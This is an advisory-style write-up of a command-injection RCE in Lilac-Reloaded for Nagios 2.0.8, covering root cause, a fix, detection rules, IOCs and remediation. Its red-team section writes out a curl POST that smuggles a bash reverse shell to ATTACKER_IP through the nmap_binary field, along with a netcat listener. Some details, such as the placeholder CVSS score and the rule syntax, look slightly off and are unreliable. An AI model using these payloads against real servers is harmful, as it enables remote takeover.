CVE-2023-53948

Executive Summary

CVE-2023-53948 is a critical remote code execution (RCE) vulnerability in Lilac-Reloaded for Nagios version 2.0.8. The flaw resides in the autodiscovery feature, specifically within the nmap_binary parameter. Due to a lack of input filtering, an unauthenticated attacker can inject arbitrary operating system commands by sending a crafted POST request to the autodiscovery endpoint. This allows for full server compromise, including the execution of a reverse shell. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical based on the impact and attack vector. No official patch is currently available, and the vendor status is unknown.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone application (Lilac-Reloaded for Nagios) and does not involve a package manager supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder, but assessed as 9.8 Critical based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability in one component.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly exploitable in internet-facing deployments.

Deep Dive & Mechanics

The vulnerability exists in the autodiscovery feature of Lilac-Reloaded for Nagios 2.0.8. The feature is designed to automatically discover network hosts using Nmap. The nmap_binary parameter specifies the path to the Nmap binary. However, the application fails to sanitize or validate user input before passing it to a system command execution function (e.g., exec(), system(), or shell_exec() in PHP).

Attack Flow:

1. An attacker sends a POST request to the autodiscovery endpoint (e.g., /autodiscovery.php or similar).
2. The request includes a crafted nmap_binary parameter containing command injection payloads, such as:

   nmap_binary=/usr/bin/nmap;id
   

3. The application concatenates this input directly into a shell command, e.g.:

   /usr/bin/nmap;id -oN /tmp/output.txt
   

4. The injected command (id) is executed with the privileges of the web server (e.g., www-data).
5. An attacker can escalate to a reverse shell using payloads like:

   nmap_binary=/usr/bin/nmap;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

Root Cause: Lack of input validation and use of dangerous functions that execute shell commands without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Lilac-Reloaded 2.0.8):

// autodiscovery.php (simplified)
$nmap_binary = $_POST['nmap_binary'];
$command = $nmap_binary . " -sn 192.168.1.0/24";
$output = shell_exec($command);

Patched Code (Hypothetical fix):

// autodiscovery.php (patched)
$nmap_binary = escapeshellcmd($_POST['nmap_binary']);
$command = $nmap_binary . " -sn 192.168.1.0/24";
$output = shell_exec($command);

Or better, use a whitelist approach:

$allowed_binaries = ['/usr/bin/nmap', '/usr/local/bin/nmap'];
if (!in_array($_POST['nmap_binary'], $allowed_binaries)) {
    die("Invalid binary");
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Lilac-Reloaded for Nagios 2.0.8 running on a target server.
• Attacker machine with netcat and curl.

Exploit Steps:

1. Start a listener on attacker machine:

   nc -lvnp 4444
   

2. Send a crafted POST request to the autodiscovery endpoint:

   curl -X POST http://TARGET_IP/autodiscovery.php \
   -d "nmap_binary=/usr/bin/nmap;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
   

3. Receive reverse shell on listener.

Alternative Payload (without reverse shell):

curl -X POST http://TARGET_IP/autodiscovery.php \
-d "nmap_binary=/usr/bin/nmap;id"

Exploit-DB Code: None available.

Blue Team (Defensive)

Detection:

• Monitor POST requests to /autodiscovery.php with unusual nmap_binary parameters.
• Look for shell metacharacters (;, |, &, $, `) in the parameter.
• Alert on outbound connections from the web server to unusual IPs/ports.

Hunting:

• Search logs for nmap_binary containing command injection patterns.
• Check for spawned processes like bash, sh, nc, python from the web server user.

Containment:

• Disable the autodiscovery feature if not needed.
• Restrict access to the autodiscovery endpoint via firewall or web server configuration.
• Apply input validation and use escapeshellcmd() or escapeshellarg().

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /autodiscovery.php with nmap_binary parameter containing shell metacharacters.
• Outbound connections from the web server to attacker-controlled IPs on ports like 4444, 1337, etc.

File System IOCs:

• Unexpected files in /tmp/ or /var/www/ (e.g., shell.php, rev.sh).
• Modified web server configuration files.

Process IOCs:

• Processes running as www-data executing bash, sh, nc, python, perl.
• Unusual child processes of the web server (e.g., Apache spawning bash).

Log IOCs:

• Web server access logs showing nmap_binary with command injection patterns.
• System logs (auth.log, syslog) showing unexpected commands.

Detection Engineering

YARA Rule

rule CVE_2023_53948_Lilac_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2023-53948 in Lilac-Reloaded"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53948"
    strings:
        $post_param = "nmap_binary=" nocase
        $shell_meta = /[;&|`$]/ 
        $reverse_shell = /bash -i >& \/dev\/tcp\// 
    condition:
        $post_param and ($shell_meta or $reverse_shell)
}

Sigma Rule

title: CVE-2023-53948 Lilac-Reloaded RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to autodiscovery.php with command injection in nmap_binary parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'autodiscovery.php'
        cs-uri-query|contains: 'nmap_binary='
    filter:
        cs-uri-query|contains: 'nmap_binary=/usr/bin/nmap'
    condition: selection and not filter
falsepositives:
    - Legitimate use of nmap_binary parameter with correct path
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-53948 Lilac-Reloaded RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"autodiscovery.php"; http_uri;
    content:"nmap_binary="; http_client_body;
    pcre:"/nmap_binary=[^&]*[;&|`$]/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable autodiscovery: If not required, disable the autodiscovery feature in Lilac-Reloaded configuration.
2. Restrict access: Use firewall rules or web server configuration (e.g., .htaccess) to limit access to the autodiscovery endpoint to trusted IPs only.
3. Input validation: Apply escapeshellcmd() or escapeshellarg() to the nmap_binary parameter, or use a whitelist of allowed binaries.

Long-term Fix:

• Upgrade to a patched version if/when available. Monitor the Lilac-Reloaded project for updates.
• Implement a Web Application Firewall (WAF) rule to block command injection patterns.
• Conduct a code review of the autodiscovery feature to ensure all user inputs are properly sanitized.

Workaround:

• Replace the autodiscovery feature with a custom script that does not rely on user-supplied binary paths.

Valters IT